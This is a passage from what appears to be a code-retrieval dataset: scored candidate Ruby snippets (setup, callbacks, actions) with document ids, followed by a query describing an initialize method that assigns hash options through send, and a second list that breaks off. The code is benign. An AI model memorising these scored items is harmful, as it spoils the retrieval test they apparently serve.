"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52226824",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "db0cb7d7727f626ba2dca5bc72cea5a6",
"score": "0.521999",
"text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end",
"title": ""
},
{
"docid": "8d7ed2ff3920c2016c75f4f9d8b5a870",
"score": "0.5215832",
"text": "def pick_action; end",
"title": ""
},
{
"docid": "7bbfb366d2ee170c855b1d0141bfc2a3",
"score": "0.5213786",
"text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end",
"title": ""
},
{
"docid": "78ecc6a2dfbf08166a7a1360bc9c35ef",
"score": "0.52100146",
"text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end",
"title": ""
},
{
"docid": "2aba2d3187e01346918a6557230603c7",
"score": "0.52085197",
"text": "def ac_action(&blk)\n @action = blk\n end",
"title": ""
},
{
"docid": "4c23552739b40c7886414af61210d31c",
"score": "0.5203262",
"text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end",
"title": ""
},
{
"docid": "691d5a5bcefbef8c08db61094691627c",
"score": "0.5202406",
"text": "def performed(action)\n end",
"title": ""
},
{
"docid": "6a98e12d6f15af80f63556fcdd01e472",
"score": "0.520174",
"text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end",
"title": ""
},
{
"docid": "d56f4ec734e3f3bc1ad913b36ff86130",
"score": "0.5201504",
"text": "def create_setup\n \n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "ad33138fb4bd42d9785a8f84821bfd88",
"score": "0.51963276",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "7fca702f2da4dbdc9b39e5107a2ab87d",
"score": "0.5191404",
"text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end",
"title": ""
},
{
"docid": "063b82c93b47d702ef6bddadb6f0c76e",
"score": "0.5178325",
"text": "def setup(instance)\n action(:setup, instance)\n end",
"title": ""
},
{
"docid": "9f1f73ee40d23f6b808bb3fbbf6af931",
"score": "0.51765746",
"text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51710224",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "7a0c9d839516dc9d0014e160b6e625a8",
"score": "0.5162045",
"text": "def setup(request)\n end",
"title": ""
},
{
"docid": "e441ee807f2820bf3655ff2b7cf397fc",
"score": "0.5150735",
"text": "def after_setup; end",
"title": ""
},
{
"docid": "1d375c9be726f822b2eb9e2a652f91f6",
"score": "0.5143402",
"text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end",
"title": ""
},
{
"docid": "c594a0d7b6ae00511d223b0533636c9c",
"score": "0.51415485",
"text": "def code_action_provider; end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51398855",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "2fcff037e3c18a5eb8d964f8f0a62ebe",
"score": "0.51376045",
"text": "def setup(params)\n end",
"title": ""
},
{
"docid": "111fd47abd953b35a427ff0b098a800a",
"score": "0.51318985",
"text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end",
"title": ""
},
{
"docid": "f2ac709e70364fce188bb24e414340ea",
"score": "0.5115387",
"text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5111866",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5110294",
"text": "def action\n end",
"title": ""
},
{
"docid": "4c7a1503a86fb26f1e4b4111925949a2",
"score": "0.5109771",
"text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end",
"title": ""
},
{
"docid": "63849e121dcfb8a1b963f040d0fe3c28",
"score": "0.5107364",
"text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend",
"title": ""
},
{
"docid": "f04fd745d027fc758dac7a4ca6440871",
"score": "0.5106081",
"text": "def block_actions options ; end",
"title": ""
},
{
"docid": "0d1c87e5cf08313c959963934383f5ae",
"score": "0.51001656",
"text": "def on_action(action)\n @action = action\n self\n end",
"title": ""
},
{
"docid": "916d3c71d3a5db831a5910448835ad82",
"score": "0.50964546",
"text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end",
"title": ""
},
{
"docid": "076c761e1e84b581a65903c7c253aa62",
"score": "0.5093199",
"text": "def add_callbacks(base); end",
"title": ""
}
] |
4221e7c73490ef9a7c6ed9c27f830ebc
|
We need to define our initialize method to take in a hash of named, or keyword, arguments. Here, we define our method to take in an argument of options, which defaults to an empty hash. We expect new to be called with a hash, so when we refer to options inside the initialize method, we expect to be operating on a hash. We iterate over the options hash and use our fancy metaprogramming send method to interpolate the name of each hash key as a method that we set equal to that key's value. As long as each property has a corresponding attr_accessor, this initialize method will work.
|
[
{
"docid": "723c1a5f891e78f838f70df6af997fc4",
"score": "0.76878774",
"text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end",
"title": ""
}
] |
[
{
"docid": "547d76ed391f8c19ba55636009868f4d",
"score": "0.8446004",
"text": "def initialize(options={})\n options.each do |property, value| # We iterate over the options hash and use #send method to interpolate the name of\n # each hash key as a method that we set equal to that key's value.\n self.send(\"#{property}=\", value) #invoke a method, without knowing the exact name of the method, using the #send method.\n end\n end",
"title": ""
},
{
"docid": "b9700e07fc1248a9de14ed2d38103df8",
"score": "0.8080653",
"text": "def initialize(options={}) #design initialize to take any argument by taking a hash\n options.each do |property, value|\n self.send(\"{property}=\",value)\n end\n end",
"title": ""
},
{
"docid": "23007b3d3e1b64d4516adf686a285736",
"score": "0.80205345",
"text": "def initialize(options={})\n #using the send keyword to set the key in this hash to the variable and then setting that equal to the value\n #like name = the name value passed in. This works as long as there are attr_accessors for everything.\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end",
"title": ""
},
{
"docid": "b705e523c69d536495403781ec474c16",
"score": "0.78247154",
"text": "def initialize(options = {})\n p options\n options.each { |k, v| send :\"#{k}=\", v }\n end",
"title": ""
},
{
"docid": "60af61285691273b06f51447fe5123c0",
"score": "0.77909327",
"text": "def initialize(options={})\n options.each do |property, value|\n self.send(\"#{property}=\", value)\n end\n end",
"title": ""
},
{
"docid": "c8b53f15f9618007aa7a0cb7e6514cd6",
"score": "0.7750292",
"text": "def initialize(options = {})\n\t\toptions.each do |property, value|\n\t\t\tself.send(\"#{property}=\", value)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5a7e422f8c27312d3f405f10a7f74f9b",
"score": "0.77083147",
"text": "def initialize(options ={})\n options.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "566d8823b48ef83ba94a7a731d336727",
"score": "0.7699232",
"text": "def initialize(options = {})\n options.each { |k, v| self.send :\"#{k}=\", v }\n end",
"title": ""
},
{
"docid": "15430f26764463b5fa379cd4c6a378a7",
"score": "0.76972884",
"text": "def initialize(options={})\n options.each do |property,value|\n self.send(\"#{property}=\",value)\n end\n end",
"title": ""
},
{
"docid": "c1f67317d519a3ca657a9eae99459171",
"score": "0.7689345",
"text": "def initialize(options = {})\n options.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "27fc74acd2a208543cdf6d992ffe7c63",
"score": "0.7679775",
"text": "def initialize(options={})\n options.each { |k,v| self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\") }\n end",
"title": ""
},
{
"docid": "c64110259ad17e05faa18fc45a7ce7f0",
"score": "0.76702034",
"text": "def initialize(options={})\n options.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "3dde599e804aac47c989e028e654a448",
"score": "0.7663912",
"text": "def initialize(options = {})\n parse_options(options)\n # options.each do |o|\n # self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n # end\n end",
"title": ""
},
{
"docid": "3dde599e804aac47c989e028e654a448",
"score": "0.7663912",
"text": "def initialize(options = {})\n parse_options(options)\n # options.each do |o|\n # self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n # end\n end",
"title": ""
},
{
"docid": "80c816c3406ff1a3b4cb8c045f859482",
"score": "0.7633015",
"text": "def initialize(options = {})\n options.each do |k,v|\n attr = k.to_s.underscore\n method = :\"#{attr}=\"\n\n send(method, v) if self.class.method_defined?(method)\n end\n end",
"title": ""
},
{
"docid": "ed4c46d0a701cbd7d28c6e0be182a5f0",
"score": "0.7629282",
"text": "def initialize(options={})\n raise TypeError, 'options must be a Hash or respond to #to_h' unless options.is_a?(Hash) || options.respond_to?(:to_h) || options.respond_to?(:to_hash)\n options = options.to_h rescue options.to_hash\n \n ATTRIBUTES.each do |attribute|\n send( \"#{attribute}=\", options[attribute] ) if options.has_key?(attribute)\n end\n end",
"title": ""
},
{
"docid": "9958e96d72b120a7d33fdd2f034cf1f3",
"score": "0.76092327",
"text": "def initialize(options,args)\n @options = (options||{}).each{|k,v| {k => v} }\n @args = args\n end",
"title": ""
},
{
"docid": "39e90fd88d52c8b61ed04a4099d66efa",
"score": "0.7604725",
"text": "def initialize(options={})\n options.each_pair { |key, value| instance_variable_set(\"@#{key}\", value) if self.respond_to? key }\n end",
"title": ""
},
{
"docid": "39e90fd88d52c8b61ed04a4099d66efa",
"score": "0.7604725",
"text": "def initialize(options={})\n options.each_pair { |key, value| instance_variable_set(\"@#{key}\", value) if self.respond_to? key }\n end",
"title": ""
},
{
"docid": "991b7ebaa2538cbdd2677d9aac99e341",
"score": "0.758032",
"text": "def initialize(options={})\n options.each do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n end\n end",
"title": ""
},
{
"docid": "3330852d3b6ae3fb9fb991aca2ad71f9",
"score": "0.75264674",
"text": "def define_option_params_initializer(options = {})\n define_method(:initialize) do |init_params = {}|\n init_params.each do |name, val|\n self.send(\"#{name.to_s}=\", val)\n end\n\n instance_exec &options[:with] if options[:with]\n end\n end",
"title": ""
},
{
"docid": "f55d94aae52cbae73ea85168b6e54306",
"score": "0.75156325",
"text": "def initialize(options)\n initialize_defaults\n options.each do |key, value|\n send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "3300aede968c337edd8907b85fd16fb6",
"score": "0.751338",
"text": "def initialize(args)\n args.each do |k, v|\n instance_variable_set \"@#{k}\", v if self.class.props.member?(k)\n end if args.is_a? Hash\n end",
"title": ""
},
{
"docid": "c3a4e0b54b0a0dd5d80a07c3223a9d64",
"score": "0.7497729",
"text": "def initialize(options = {})\n options.keys.each do |key|\n self.instance_variable_set(\"@#{key.to_s}\",options[key])\n end\n end",
"title": ""
},
{
"docid": "56aff5700719f4153aae022e4e4dea3e",
"score": "0.74920744",
"text": "def initialize(*args)\n attr_hash = args.extract_options\n @proxy = attr_hash.delete(:proxy) || Proxy.new(attr_hash)\n attr_hash.each_pair do |key, value|\n m = \"#{key}=\".to_sym\n next unless self.respond_to? m\n send(m, value)\n end\n end",
"title": ""
},
{
"docid": "c03ce793cbdfec53e8c3132b8a96a089",
"score": "0.74914217",
"text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end",
"title": ""
},
{
"docid": "c03ce793cbdfec53e8c3132b8a96a089",
"score": "0.74914217",
"text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end",
"title": ""
},
{
"docid": "c03ce793cbdfec53e8c3132b8a96a089",
"score": "0.74914217",
"text": "def initialize(options={})\n options.each do |o|\n self.send(\"#{o[0]}=\", o[1]) if self.respond_to? \"#{o[0]}=\"\n end\n end",
"title": ""
},
{
"docid": "ebe7c5fbb7cbdb24ecdddd1796f78e6e",
"score": "0.7482743",
"text": "def initialize(options = {})\n options.each_pair do |key, value|\n send(\"#{key}=\", value)\n end\n end",
"title": ""
},
{
"docid": "bcd2cc796a456ca4015b763944214425",
"score": "0.7411997",
"text": "def initialize(options={})\n options.each do |key, value|\n send \"#{key}=\", value\n end\n end",
"title": ""
},
{
"docid": "b6fbf4d398715f84519e1dcc1175a417",
"score": "0.7385346",
"text": "def initialize(options={})\n options.each do |key, value|\n send \"#{key}=\", value\n end\n end",
"title": ""
},
{
"docid": "8f90d80937aca3af75b168ea2552c7bb",
"score": "0.72541386",
"text": "def initialize opts = {}\n methods = self.class.public_instance_methods(false).map(&:to_s)\n opts.keys.each do |key|\n next unless methods.detect { |m| m == \"#{key}=\" }\n send(\"#{key}=\", opts[key])\n end\n end",
"title": ""
},
{
"docid": "fa866953d90c91887b7ceea2e37ee61e",
"score": "0.7241793",
"text": "def initialize(options={})\n for key, value in options\n send(:\"#{key}=\", value)\n end\n yield self if block_given?\n end",
"title": ""
},
{
"docid": "35684532bc0319515474ba510be19b66",
"score": "0.7226712",
"text": "def initialize options = {}\n options.each do |key, value|\n self.class.send(:define_method, key) do\n value\n end\n instance_variable_set \"@#{key}\", value\n end\n yield self if block_given?\n end",
"title": ""
},
{
"docid": "2249f902ce509ad5ddc2644a531e90ce",
"score": "0.7221895",
"text": "def initialize(options = {})\n\t\t\toptions.each do |key, value|\n\t\t\t\tsend(:\"#{key}=\", value)\n\t\t\tend\n\t\t\tyield(self) if block_given?\n\t\tend",
"title": ""
},
{
"docid": "2249f902ce509ad5ddc2644a531e90ce",
"score": "0.7221895",
"text": "def initialize(options = {})\n\t\t\toptions.each do |key, value|\n\t\t\t\tsend(:\"#{key}=\", value)\n\t\t\tend\n\t\t\tyield(self) if block_given?\n\t\tend",
"title": ""
},
{
"docid": "04322ba62a406751a03ae8bd4682ca3c",
"score": "0.72115993",
"text": "def initialize(*args)\n if args.last.is_a?(Hash)\n args.last.each do |k,v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\".to_sym)\n end\n end\n end",
"title": ""
},
{
"docid": "6919729e4eef8ff41f437ab32605c7c2",
"score": "0.7194101",
"text": "def initialize(options={}, &block)\n set_defaults\n options.each { |key, value| send(\"#{key}=\", value) if respond_to?(key) }\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "3c3dc83b7474ea04fc0aedb94e941d4c",
"score": "0.7190402",
"text": "def initialize(options = {})\n options.each do |key, value|\n send(:\"#{key}=\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "ecdd47f010c466b5fcbfeafff3a3e53f",
"score": "0.71789974",
"text": "def initialize(options={})\n if options.is_a?(String)\n options = JSON.parse(options)\n end\n\n # Set properties defined by the +options+ parameter\n #options = Bodhi::Support.symbolize_keys(options)\n options.each do |property, value|\n property_options = self.class.properties[property.to_sym]\n if property_options.nil?\n send(\"#{property}=\", value)\n else\n send(\"#{property}=\", Bodhi::Support.coerce(value, property_options))\n end\n end\n\n # Set any default values\n self.class.properties.select{ |k,v| !v[:default].nil? }.each do |property, property_options|\n send(\"#{property}=\", property_options[:default]) if send(\"#{property}\").nil?\n end\n end",
"title": ""
},
{
"docid": "2072b2ba0bb7d7f9d0f21a5583c08655",
"score": "0.71160305",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "b27857307da9ea1796c620b7b631eeee",
"score": "0.70738053",
"text": "def initialize options = {}, &block\n @args = []\n if block_given?\n if block.arity > 0\n yield self\n else\n self.instance_eval &block\n end\n else\n options.each do |key, value|\n send :\"#{key}=\", value\n end\n end\n end",
"title": ""
},
{
"docid": "8f32939893292b7ea1991d017ddb19a5",
"score": "0.7056389",
"text": "def initialize(options = {})\n options.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n set_defaults\n yield(self) if block_given?\n end",
"title": ""
},
{
"docid": "9f27e76ffd27aa9b997ebdffe3c933fb",
"score": "0.7042163",
"text": "def initialize(**hash_args)\n yield self if block_given?\n hash_args.keys.each do |key|\n send \"#{key}=\", hash_args[key]\n end\n end",
"title": ""
},
{
"docid": "e28315d34bfb5ee6b89f8429c471980d",
"score": "0.7042085",
"text": "def initialize(options = {})\n options.each { |k,v| instance_variable_set(\"@#{k}\", v) }\n end",
"title": ""
},
{
"docid": "5b383dc14b68574608cb1d7e1b833398",
"score": "0.70098186",
"text": "def initialize(**params)\n @params = params\n\n @params.each do |key, value|\n self.class.send(:define_method, key) { value } unless respond_to?(key)\n end\n end",
"title": ""
},
{
"docid": "03419ac1407519d412c174f90ac4a5d5",
"score": "0.70065814",
"text": "def initialize(args={})\n @props = {}\n if args\n VAPI::Util.check_type(self, 'args', args, Hash)\n # iterate, rather than merge, to get type checking\n args.each { |name, value| set_property(name, value) }\n end\n end",
"title": ""
},
{
"docid": "39d9e741fb62ee09c4b070593c4a31bb",
"score": "0.70055616",
"text": "def initialize(options = {}, &block)\n options.each do |method_name, value|\n puts \"Method name: #{method_name}\"\n send(\"#{method_name}=\", value)\n end\n\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "a9fe1fbed39a050684104d7360a4bbcb",
"score": "0.7001823",
"text": "def initialize(options = {})\n @options = Hashie::Mash.new(options)\n end",
"title": ""
},
{
"docid": "a9fe1fbed39a050684104d7360a4bbcb",
"score": "0.7001823",
"text": "def initialize(options = {})\n @options = Hashie::Mash.new(options)\n end",
"title": ""
},
{
"docid": "a9fe1fbed39a050684104d7360a4bbcb",
"score": "0.7001823",
"text": "def initialize(options = {})\n @options = Hashie::Mash.new(options)\n end",
"title": ""
},
{
"docid": "ad8b7326991d66231c05a4b907c3be15",
"score": "0.7001577",
"text": "def initialize(*args)\n @options = self.class.default_options.dup\n options.deep_merge!(args.pop) if args.last.is_a?(Hash)\n options[:name] ||= self.class.to_s.split('::').last.downcase\n\n self.class.args.each do |arg|\n break if args.empty?\n\n options[arg] = args.shift\n end\n\n raise ArgumentError, \"Received too many arguments. #{args.inspect}\" unless args.empty?\n\n setup\n\n yield options if block_given?\n end",
"title": ""
},
{
"docid": "c00d203d55090fcca5ecba781bae6cf8",
"score": "0.70012",
"text": "def initialize(options = {})\n\n attributes = DEFAULT_ATTRS.merge options if options.is_a? Hash\n\n attributes.each { |k,v| instance_eval(\"@#{k}='#{v}'\") if DEFAULT_ATTRS.keys.include?(k) }\n\n end",
"title": ""
},
{
"docid": "08b9543fd644b8e2af7c4161883bfeeb",
"score": "0.70011085",
"text": "def initialize values = {}\n initialize_props values\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "0643982645031cdd52e1dc606fe950a9",
"score": "0.69973123",
"text": "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[arguments]\n end",
"title": ""
},
{
"docid": "e5fe649a1eab5dcc89fce3fc9acc8f75",
"score": "0.69601977",
"text": "def initialize_with(*args, &blk)\n @initializiation_args = args\n\n # Remember what args we normally initialize with so we can refer to them when building shared instances.\n\n if defined?(define_singleton_method)\n define_singleton_method :initializiation_args do\n @initializiation_args\n end\n else\n singleton = class << self; self end\n singleton.send :define_method, :initializiation_args, lambda { @initializiation_args }\n end\n\n # Create an `attr_accessor` for each one. Defaults can be provided using the Hash version { :arg => :default_value }\n\n args.each { |a| register_accessor(a) }\n\n define_method(:initialize) { |opts={}|\n parse_opts(opts)\n }\n\n # `#parse_opts` is responsable for getting the `attr_accessor` values prefilled. Since defaults can be specified, it\n # must negotiate Hashes and use the first key of the hash for the `attr_accessor`'s name.\n\n define_method :parse_opts do |opts|\n @rep_options = opts\n blk.call(opts) unless blk.nil?\n self.class.initializiation_args.each do |field|\n name = field.is_a?(Hash) ? field.to_a.first.first : field\n instance_variable_set(:\"@#{name}\", opts[name])\n end\n end\n end",
"title": ""
},
{
"docid": "b10d654e259d9ac3b068dd128a820e7a",
